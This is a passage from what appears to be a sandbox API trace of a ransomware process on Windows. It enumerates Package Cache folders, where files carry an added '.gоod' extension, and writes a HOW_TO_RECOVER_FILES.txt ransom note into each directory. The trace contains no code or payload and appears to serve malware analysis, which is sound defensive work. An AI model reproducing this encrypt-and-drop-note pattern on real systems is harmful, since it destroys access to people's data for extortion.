nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0146.084] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33c85ec4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.085] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c85ec4, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33c85ec4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33c89898, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.085] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x335b187c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x335b187c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0146.085] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x335b187c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x335b187c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0146.085] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0146.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0146.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0146.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0146.085] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", lpFilePart=0x0) returned 0x5b [0146.085] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x33c85ec4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33c85ec4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0146.085] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x33c85ec4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33c85ec4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.086] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c85ec4, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x33c85ec4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33c89898, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.086] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x335b187c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x335b187c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0146.086] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.086] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0146.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0146.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0146.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0146.086] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x70 [0146.087] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x335b187c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x337c7c3a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0146.087] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x335b187c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x337c7c3a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.087] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x966f4c00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x966f4c00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x32fe1efc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc89c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0146.307] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0147.066] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x335b187c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x335b187c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33c84ab2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0147.066] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x335b187c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0147.069] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0147.069] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0147.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0147.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0147.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0147.881] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x70 [0147.881] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x337c7c3a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x337c7c3a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.885] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x337c7c3a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x337c7c3a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.885] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x966f4c00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x966f4c00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x32fe1efc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc89c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0147.885] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x335b187c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x335b187c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x33c84ab2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0147.885] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x335b187c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0147.885] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x335b187c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 0 [0147.886] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0147.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0147.886] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x89 [0147.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0147.886] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0147.887] GetFileType (hFile=0x630) returned 0x1 [0147.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0147.887] GetFileType (hFile=0x630) returned 0x1 [0147.888] WriteFile (in: hFile=0x630, lpBuffer=0x3863610*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3863610*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0147.889] CloseHandle (hObject=0x630) returned 1 [0147.889] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x74 [0147.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0147.889] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0147.890] GetFileType (hFile=0x630) returned 0x1 [0147.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0147.890] GetFileType (hFile=0x630) returned 0x1 [0147.891] WriteFile (in: hFile=0x630, lpBuffer=0x3866f38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x3866f38*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0147.891] CloseHandle (hObject=0x630) returned 1 [0147.892] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6b [0147.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0147.892] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0147.893] GetFileType (hFile=0x630) returned 0x1 [0147.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0147.893] GetFileType (hFile=0x630) returned 0x1 [0147.893] WriteFile (in: hFile=0x630, lpBuffer=0x386a830*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x386a830*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0147.894] CloseHandle (hObject=0x630) returned 1 [0147.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0147.895] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpFilePart=0x0) returned 0x47 [0147.895] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x35b3bf75, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x35b3bf75, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.895] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x35b3bf75, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x35b3bf75, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.895] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35b3bf75, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x35b3bf75, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x35b3bf75, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0147.895] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3452e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.gоod", cAlternateFileName="STATER~1.GOD")) returned 1 [0147.895] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x35b3bf75, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6f3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe.gоod", cAlternateFileName="VCREDI~1.GOD")) returned 1 [0147.895] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0147.896] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0147.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0147.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0147.896] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpFilePart=0x0) returned 0x47 [0147.896] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x35b3bf75, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x35b3bf75, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.896] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x35b3bf75, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x35b3bf75, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.896] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35b3bf75, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x35b3bf75, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x35b3bf75, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0147.896] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, 